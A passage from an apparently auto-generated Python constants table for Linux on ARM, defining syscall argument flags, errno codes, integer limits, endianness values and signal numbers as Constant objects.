= Constant('__ARGS_sigaction',0) __ARGS_sgetmask = Constant('__ARGS_sgetmask',0) __ARGS_ssetmask = Constant('__ARGS_ssetmask',0) __ARGS_setreuid = Constant('__ARGS_setreuid',0) __ARGS_setregid = Constant('__ARGS_setregid',0) __ARGS_sigsuspend = Constant('__ARGS_sigsuspend',0) __ARGS_sigpending = Constant('__ARGS_sigpending',0) __ARGS_sethostname = Constant('__ARGS_sethostname',0) __ARGS_setrlimit = Constant('__ARGS_setrlimit',0) __ARGS_getrlimit = Constant('__ARGS_getrlimit',0) __ARGS_getrusage = Constant('__ARGS_getrusage',0) __ARGS_gettimeofday = Constant('__ARGS_gettimeofday',0) __ARGS_settimeofday = Constant('__ARGS_settimeofday',0) __ARGS_getgroups = Constant('__ARGS_getgroups',0) __ARGS_setgroups = Constant('__ARGS_setgroups',0) __ARGS_select = Constant('__ARGS_select',0) __ARGS_symlink = Constant('__ARGS_symlink',0) __ARGS_readlink = Constant('__ARGS_readlink',0) __ARGS_uselib = Constant('__ARGS_uselib',0) __ARGS_swapon = Constant('__ARGS_swapon',0) __ARGS_reboot = Constant('__ARGS_reboot',0) __ARGS_readdir = Constant('__ARGS_readdir',0) __ARGS_mmap = Constant('__ARGS_mmap',0) __ARGS_munmap = Constant('__ARGS_munmap',0) __ARGS_truncate = Constant('__ARGS_truncate',0) __ARGS_ftruncate = Constant('__ARGS_ftruncate',0) __ARGS_fchmod = Constant('__ARGS_fchmod',0) __ARGS_fchown = Constant('__ARGS_fchown',0) __ARGS_getpriority = Constant('__ARGS_getpriority',0) __ARGS_setpriority = Constant('__ARGS_setpriority',0) __ARGS_profil = Constant('__ARGS_profil',0) __ARGS_statfs = Constant('__ARGS_statfs',0) __ARGS_fstatfs = Constant('__ARGS_fstatfs',0) __ARGS_ioperm = Constant('__ARGS_ioperm',0) __ARGS_socketcall = Constant('__ARGS_socketcall',0) __ARGS_syslog = Constant('__ARGS_syslog',0) __ARGS_setitimer = Constant('__ARGS_setitimer',0) __ARGS_getitimer = Constant('__ARGS_getitimer',0) __ARGS_stat = Constant('__ARGS_stat',0) __ARGS_lstat = Constant('__ARGS_lstat',0) __ARGS_fstat = Constant('__ARGS_fstat',0) __ARGS_vhangup = Constant('__ARGS_vhangup',0) __ARGS_idle = Constant('__ARGS_idle',0) __ARGS_syscall = Constant('__ARGS_syscall',0) __ARGS_wait4 = Constant('__ARGS_wait4',0) __ARGS_swapoff = Constant('__ARGS_swapoff',0) __ARGS_sysinfo = Constant('__ARGS_sysinfo',0) __ARGS_ipc = Constant('__ARGS_ipc',1) __ARGS_fsync = Constant('__ARGS_fsync',0) __ARGS_sigreturn = Constant('__ARGS_sigreturn',0) __ARGS_clone = Constant('__ARGS_clone',0) __ARGS_setdomainname = Constant('__ARGS_setdomainname',0) __ARGS_uname = Constant('__ARGS_uname',0) __ARGS_modify_ldt = Constant('__ARGS_modify_ldt',0) __ARGS_adjtimex = Constant('__ARGS_adjtimex',0) __ARGS_mprotect = Constant('__ARGS_mprotect',0) __ARGS_sigprocmask = Constant('__ARGS_sigprocmask',0) __ARGS_create_module = Constant('__ARGS_create_module',0) __ARGS_init_module = Constant('__ARGS_init_module',0) __ARGS_delete_module = Constant('__ARGS_delete_module',0) __ARGS_get_kernel_syms = Constant('__ARGS_get_kernel_syms',0) __ARGS_quotactl = Constant('__ARGS_quotactl',0) __ARGS_getpgid = Constant('__ARGS_getpgid',0) __ARGS_fchdir = Constant('__ARGS_fchdir',0) __ARGS_bdflush = Constant('__ARGS_bdflush',0) __ARGS_sysfs = Constant('__ARGS_sysfs',0) __ARGS_personality = Constant('__ARGS_personality',0) __ARGS_afs_syscall = Constant('__ARGS_afs_syscall',0) __ARGS_setfsuid = Constant('__ARGS_setfsuid',0) __ARGS_setfsgid = Constant('__ARGS_setfsgid',0) __ARGS__llseek = Constant('__ARGS__llseek',1) __ARGS_getdents = Constant('__ARGS_getdents',0) __ARGS__newselect = Constant('__ARGS__newselect',1) __ARGS_flock = Constant('__ARGS_flock',0) __ARGS_msync = Constant('__ARGS_msync',0) __ARGS_readv = Constant('__ARGS_readv',0) __ARGS_writev = Constant('__ARGS_writev',0) __ARGS_getsid = Constant('__ARGS_getsid',0) __ARGS_fdatasync = Constant('__ARGS_fdatasync',0) __ARGS__sysctl = Constant('__ARGS__sysctl',0) __ARGS_mlock = Constant('__ARGS_mlock',0) __ARGS_munlock = Constant('__ARGS_munlock',0) __ARGS_mlockall = Constant('__ARGS_mlockall',0) __ARGS_munlockall = Constant('__ARGS_munlockall',0) __ARGS_sched_setparam = Constant('__ARGS_sched_setparam',0) __ARGS_sched_getparam = Constant('__ARGS_sched_getparam',0) __ARGS_sched_setscheduler = Constant('__ARGS_sched_setscheduler',0) __ARGS_sched_getscheduler = Constant('__ARGS_sched_getscheduler',0) __ARGS_sched_yield = Constant('__ARGS_sched_yield',0) __ARGS_sched_get_priority_max = Constant('__ARGS_sched_get_priority_max',0) __ARGS_sched_get_priority_min = Constant('__ARGS_sched_get_priority_min',0) __ARGS_sched_rr_get_interval = Constant('__ARGS_sched_rr_get_interval',0) __ARGS_nanosleep = Constant('__ARGS_nanosleep',0) __ARGS_mremap = Constant('__ARGS_mremap',0) __ARGS_setresuid = Constant('__ARGS_setresuid',0) __ARGS_getresuid = Constant('__ARGS_getresuid',0) __ARGS_vm86 = Constant('__ARGS_vm86',0) __ARGS_query_module = Constant('__ARGS_query_module',1) __ARGS_poll = Constant('__ARGS_poll',0) __ARGS_nfsservctl = Constant('__ARGS_nfsservctl',0) __ARGS_setresgid = Constant('__ARGS_setresgid',0) __ARGS_getresgid = Constant('__ARGS_getresgid',0) __ARGS_prctl = Constant('__ARGS_prctl',1) __ARGS_rt_sigreturn = Constant('__ARGS_rt_sigreturn',0) __ARGS_rt_sigaction = Constant('__ARGS_rt_sigaction',0) __ARGS_rt_sigprocmask = Constant('__ARGS_rt_sigprocmask',0) __ARGS_rt_sigpending = Constant('__ARGS_rt_sigpending',0) __ARGS_rt_sigtimedwait = Constant('__ARGS_rt_sigtimedwait',0) __ARGS_rt_sigqueueinfo = Constant('__ARGS_rt_sigqueueinfo',0) __ARGS_rt_sigsuspend = Constant('__ARGS_rt_sigsuspend',0) __ARGS_pread = Constant('__ARGS_pread',0) __ARGS_pwrite = Constant('__ARGS_pwrite',0) __ARGS_pread64 = Constant('__ARGS_pread64',0) __ARGS_pwrite64 = Constant('__ARGS_pwrite64',0) __ARGS_chown = Constant('__ARGS_chown',0) __ARGS_getcwd = Constant('__ARGS_getcwd',0) __ARGS_capget = Constant('__ARGS_capget',0) __ARGS_capset = Constant('__ARGS_capset',0) __ARGS_sigaltstack = Constant('__ARGS_sigaltstack',0) __ARGS_sendfile = Constant('__ARGS_sendfile',0) __ARGS_vfork = Constant('__ARGS_vfork',0) __ARGS_ugetrlimit = Constant('__ARGS_ugetrlimit',0) __ARGS_mmap2 = Constant('__ARGS_mmap2',1) __ARGS_truncate64 = Constant('__ARGS_truncate64',0) __ARGS_ftruncate64 = Constant('__ARGS_ftruncate64',0) __ARGS_stat64 = Constant('__ARGS_stat64',0) __ARGS_lstat64 = Constant('__ARGS_lstat64',0) __ARGS_fstat64 = Constant('__ARGS_fstat64',0) __ARGS_lchown32 = Constant('__ARGS_lchown32',0) __ARGS_getuid32 = Constant('__ARGS_getuid32',0) __ARGS_getgid32 = Constant('__ARGS_getgid32',0) __ARGS_geteuid32 = Constant('__ARGS_geteuid32',0) __ARGS_getegid32 = Constant('__ARGS_getegid32',0) __ARGS_setreuid32 = Constant('__ARGS_setreuid32',0) __ARGS_setregid32 = Constant('__ARGS_setregid32',0) __ARGS_getgroups32 = Constant('__ARGS_getgroups32',0) __ARGS_setgroups32 = Constant('__ARGS_setgroups32',0) __ARGS_fchown32 = Constant('__ARGS_fchown32',0) __ARGS_setresuid32 = Constant('__ARGS_setresuid32',0) __ARGS_getresuid32 = Constant('__ARGS_getresuid32',0) __ARGS_setresgid32 = Constant('__ARGS_setresgid32',0) __ARGS_getresgid32 = Constant('__ARGS_getresgid32',0) __ARGS_chown32 = Constant('__ARGS_chown32',0) __ARGS_setuid32 = Constant('__ARGS_setuid32',0) __ARGS_setgid32 = Constant('__ARGS_setgid32',0) __ARGS_setfsuid32 = Constant('__ARGS_setfsuid32',0) __ARGS_setfsgid32 = Constant('__ARGS_setfsgid32',0) __ARGS_getdents64 = Constant('__ARGS_getdents64',0) __ARGS_pivot_root = Constant('__ARGS_pivot_root',0) __ARGS_mincore = Constant('__ARGS_mincore',0) __ARGS_madvise = Constant('__ARGS_madvise',0) __ARGS_fcntl64 = Constant('__ARGS_fcntl64',0) __ARGS_security = Constant('__ARGS_security',0) __ARGS_gettid = Constant('__ARGS_gettid',0) __ARGS_readahead = Constant('__ARGS_readahead',0) __ARGS_setxattr = Constant('__ARGS_setxattr',1) __ARGS_lsetxattr = Constant('__ARGS_lsetxattr',1) __ARGS_fsetxattr = Constant('__ARGS_fsetxattr',1) __ARGS_getxattr = Constant('__ARGS_getxattr',0) __ARGS_lgetxattr = Constant('__ARGS_lgetxattr',0) __ARGS_fgetxattr = Constant('__ARGS_fgetxattr',0) __ARGS_listxattr = Constant('__ARGS_listxattr',0) __ARGS_llistxattr = Constant('__ARGS_llistxattr',0) __ARGS_flistxattr = Constant('__ARGS_flistxattr',0) __ARGS_removexattr = Constant('__ARGS_removexattr',0) __ARGS_lremovexattr = Constant('__ARGS_lremovexattr',0) __ARGS_fremovexattr = Constant('__ARGS_fremovexattr',0) __ARGS_tkill = Constant('__ARGS_tkill',0) __ARGS_sendfile64 = Constant('__ARGS_sendfile64',0) __ARGS_futex = Constant('__ARGS_futex',0) __ARGS_sched_setaffinity = Constant('__ARGS_sched_setaffinity',0) __ARGS_sched_getaffinity = Constant('__ARGS_sched_getaffinity',0) __ARGS_io_setup = Constant('__ARGS_io_setup',0) __ARGS_io_destroy = Constant('__ARGS_io_destroy',0) __ARGS_io_getevents = Constant('__ARGS_io_getevents',0) __ARGS_io_submit = Constant('__ARGS_io_submit',0) __ARGS_io_cancel = Constant('__ARGS_io_cancel',0) __ARGS_exit_group = Constant('__ARGS_exit_group',0) __ARGS_lookup_dcookie = Constant('__ARGS_lookup_dcookie',0) __ARGS_epoll_create = Constant('__ARGS_epoll_create',0) __ARGS_epoll_ctl = Constant('__ARGS_epoll_ctl',0) __ARGS_epoll_wait = Constant('__ARGS_epoll_wait',0) __ARGS_remap_file_pages = Constant('__ARGS_remap_file_pages',0) __ARGS_set_thread_area = Constant('__ARGS_set_thread_area',0) __ARGS_get_thread_area = Constant('__ARGS_get_thread_area',0) __ARGS_set_tid_address = Constant('__ARGS_set_tid_address',0) __ARGS_timer_create = Constant('__ARGS_timer_create',0) __ARGS_timer_settime = Constant('__ARGS_timer_settime',0) __ARGS_timer_gettime = Constant('__ARGS_timer_gettime',0) __ARGS_timer_getoverrun = Constant('__ARGS_timer_getoverrun',0) __ARGS_timer_delete = Constant('__ARGS_timer_delete',0) __ARGS_clock_settime = Constant('__ARGS_clock_settime',0) __ARGS_clock_gettime = Constant('__ARGS_clock_gettime',0) __ARGS_clock_getres = Constant('__ARGS_clock_getres',0) __ARGS_clock_nanosleep = Constant('__ARGS_clock_nanosleep',0) __ARGS_statfs64 = Constant('__ARGS_statfs64',0) __ARGS_fstatfs64 = Constant('__ARGS_fstatfs64',0) __ARGS_tgkill = Constant('__ARGS_tgkill',0) __ARGS_utimes = Constant('__ARGS_utimes',0) __ARGS_arm_fadvise64_64 = Constant('__ARGS_arm_fadvise64_64',1) __ARGS_fadvise64 = Constant('__ARGS_fadvise64',0) __ARGS_fadvise64_64 = Constant('__ARGS_fadvise64_64',0) __ARGS_pciconfig_iobase = Constant('__ARGS_pciconfig_iobase',0) __ARGS_pciconfig_read = Constant('__ARGS_pciconfig_read',1) __ARGS_pciconfig_write = Constant('__ARGS_pciconfig_write',1) __ARGS_mq_open = Constant('__ARGS_mq_open',0) __ARGS_mq_unlink = Constant('__ARGS_mq_unlink',0) __ARGS_mq_timedsend = Constant('__ARGS_mq_timedsend',0) __ARGS_mq_timedreceive = Constant('__ARGS_mq_timedreceive',1) __ARGS_mq_notify = Constant('__ARGS_mq_notify',0) __ARGS_mq_getsetattr = Constant('__ARGS_mq_getsetattr',0) __ARGS_waitid = Constant('__ARGS_waitid',0) __ARGS_socket = Constant('__ARGS_socket',0) __ARGS_bind = Constant('__ARGS_bind',0) __ARGS_connect = Constant('__ARGS_connect',0) __ARGS_listen = Constant('__ARGS_listen',0) __ARGS_accept = Constant('__ARGS_accept',0) __ARGS_getsockname = Constant('__ARGS_getsockname',0) __ARGS_getpeername = Constant('__ARGS_getpeername',0) __ARGS_socketpair = Constant('__ARGS_socketpair',0) __ARGS_send = Constant('__ARGS_send',0) __ARGS_sendto = Constant('__ARGS_sendto',1) __ARGS_recv = Constant('__ARGS_recv',0) __ARGS_recvfrom = Constant('__ARGS_recvfrom',1) __ARGS_shutdown = Constant('__ARGS_shutdown',0) __ARGS_setsockopt = Constant('__ARGS_setsockopt',0) __ARGS_getsockopt = Constant('__ARGS_getsockopt',0) __ARGS_sendmsg = Constant('__ARGS_sendmsg',0) __ARGS_recvmsg = Constant('__ARGS_recvmsg',0) __ARGS_semop = Constant('__ARGS_semop',0) __ARGS_semget = Constant('__ARGS_semget',0) __ARGS_semctl = Constant('__ARGS_semctl',0) __ARGS_msgsnd = Constant('__ARGS_msgsnd',0) __ARGS_msgrcv = Constant('__ARGS_msgrcv',0) __ARGS_msgget = Constant('__ARGS_msgget',0) __ARGS_msgctl = Constant('__ARGS_msgctl',0) __ARGS_shmat = Constant('__ARGS_shmat',0) __ARGS_shmdt = Constant('__ARGS_shmdt',0) __ARGS_shmget = Constant('__ARGS_shmget',0) __ARGS_shmctl = Constant('__ARGS_shmctl',0) __ARGS_add_key = Constant('__ARGS_add_key',1) __ARGS_request_key = Constant('__ARGS_request_key',1) __ARGS_keyctl = Constant('__ARGS_keyctl',0) __ARGS_vserver = Constant('__ARGS_vserver',0) __ARGS_ioprio_set = Constant('__ARGS_ioprio_set',0) __ARGS_ioprio_get = Constant('__ARGS_ioprio_get',0) __ARGS_inotify_init = Constant('__ARGS_inotify_init',0) __ARGS_inotify_add_watch = Constant('__ARGS_inotify_add_watch',0) __ARGS_inotify_rm_watch = Constant('__ARGS_inotify_rm_watch',0) __ARGS_mbind = Constant('__ARGS_mbind',1) __ARGS_get_mempolicy = Constant('__ARGS_get_mempolicy',1) __ARGS_set_mempolicy = Constant('__ARGS_set_mempolicy',1) __ARGS_openat = Constant('__ARGS_openat',0) __ARGS_mkdirat = Constant('__ARGS_mkdirat',0) __ARGS_mknodat = Constant('__ARGS_mknodat',0) __ARGS_fchownat = Constant('__ARGS_fchownat',1) __ARGS_futimesat = Constant('__ARGS_futimesat',0) __ARGS_fstatat64 = Constant('__ARGS_fstatat64',0) __ARGS_unlinkat = Constant('__ARGS_unlinkat',0) __ARGS_renameat = Constant('__ARGS_renameat',0) __ARGS_linkat = Constant('__ARGS_linkat',1) __ARGS_symlinkat = Constant('__ARGS_symlinkat',0) __ARGS_readlinkat = Constant('__ARGS_readlinkat',0) __ARGS_fchmodat = Constant('__ARGS_fchmodat',0) __ARGS_faccessat = Constant('__ARGS_faccessat',0) __ARGS_unshare = Constant('__ARGS_unshare',0) __ARGS_set_robust_list = Constant('__ARGS_set_robust_list',0) __ARGS_get_robust_list = Constant('__ARGS_get_robust_list',0) __ARGS_splice = Constant('__ARGS_splice',1) __ARGS_arm_sync_file_range = Constant('__ARGS_arm_sync_file_range',0) __ARGS_sync_file_range2 = Constant('__ARGS_sync_file_range2',0) __ARGS_tee = Constant('__ARGS_tee',0) __ARGS_vmsplice = Constant('__ARGS_vmsplice',0) __ARGS_move_pages = Constant('__ARGS_move_pages',1) __ARGS_getcpu = Constant('__ARGS_getcpu',0) __ARGS_kexec_load = Constant('__ARGS_kexec_load',0) __ARGS_utimensat = Constant('__ARGS_utimensat',0) __ARGS_signalfd = Constant('__ARGS_signalfd',0) __ARGS_timerfd = Constant('__ARGS_timerfd',0) __ARGS_eventfd = Constant('__ARGS_eventfd',0) __ARGS_fallocate = Constant('__ARGS_fallocate',0) __ARGS_timerfd_settime = Constant('__ARGS_timerfd_settime',0) __ARGS_timerfd_gettime = Constant('__ARGS_timerfd_gettime',0) __ARGS_signalfd4 = Constant('__ARGS_signalfd4',0) __ARGS_eventfd2 = Constant('__ARGS_eventfd2',0) __ARGS_epoll_create1 = Constant('__ARGS_epoll_create1',0) __ARGS_dup3 = Constant('__ARGS_dup3',0) __ARGS_pipe2 = Constant('__ARGS_pipe2',0) __ARGS_inotify_init1 = Constant('__ARGS_inotify_init1',0) __ARGS_preadv = Constant('__ARGS_preadv',0) __ARGS_pwritev = Constant('__ARGS_pwritev',0) __ARGS_rt_tgsigqueueinfo = Constant('__ARGS_rt_tgsigqueueinfo',0) __ARGS_perf_event_open = Constant('__ARGS_perf_event_open',1) __ARGS_recvmmsg = Constant('__ARGS_recvmmsg',1) __ARGS_accept4 = Constant('__ARGS_accept4',0) __ARGS_fanotify_init = Constant('__ARGS_fanotify_init',0) __ARGS_fanotify_mark = Constant('__ARGS_fanotify_mark',1) __ARGS_prlimit64 = Constant('__ARGS_prlimit64',0) __ARGS_name_to_handle_at = Constant('__ARGS_name_to_handle_at',1) __ARGS_open_by_handle_at = Constant('__ARGS_open_by_handle_at',0) __ARGS_clock_adjtime = Constant('__ARGS_clock_adjtime',0) __ARGS_syncfs = Constant('__ARGS_syncfs',0) __ARGS_sendmmsg = Constant('__ARGS_sendmmsg',0) __ARGS_setns = Constant('__ARGS_setns',0) __ARGS_process_vm_readv = Constant('__ARGS_process_vm_readv',1) __ARGS_process_vm_writev = Constant('__ARGS_process_vm_writev',1) __ARGS_kcmp = Constant('__ARGS_kcmp',1) __ARGS_finit_module = Constant('__ARGS_finit_module',0) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',1234) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',1234) __WORDSIZE = Constant('__WORDSIZE',32) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647))) INTPTR_MAX = Constant('INTPTR_MAX',(2147483647)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGBUS = Constant('SIGBUS',7) SIGUSR1 = Constant('SIGUSR1',10) SIGUSR2 = Constant('SIGUSR2',12) SIGSTKFLT = Constant('SIGSTKFLT',16) SIGCHLD = Constant('SIGCHLD',17) SIGCONT = Constant('SIGCONT',18) SIGSTOP = Constant('SIGSTOP',19) SIGTSTP = Constant('SIGTSTP',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGURG = Constant('SIGURG',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGIO = Constant('SIGIO',29) SIGPWR = Constant('SIGPWR',30) SIGSYS = Constant('SIGSYS',31) SIGCLD = Constant('SIGCLD',17) SIGPOLL = Constant('SIGPOLL',29) SIGLOST = Constant('SIGLOST',30) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_THIRTYTWO = Constant('SA_THIRTYTWO',0x02000000) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = 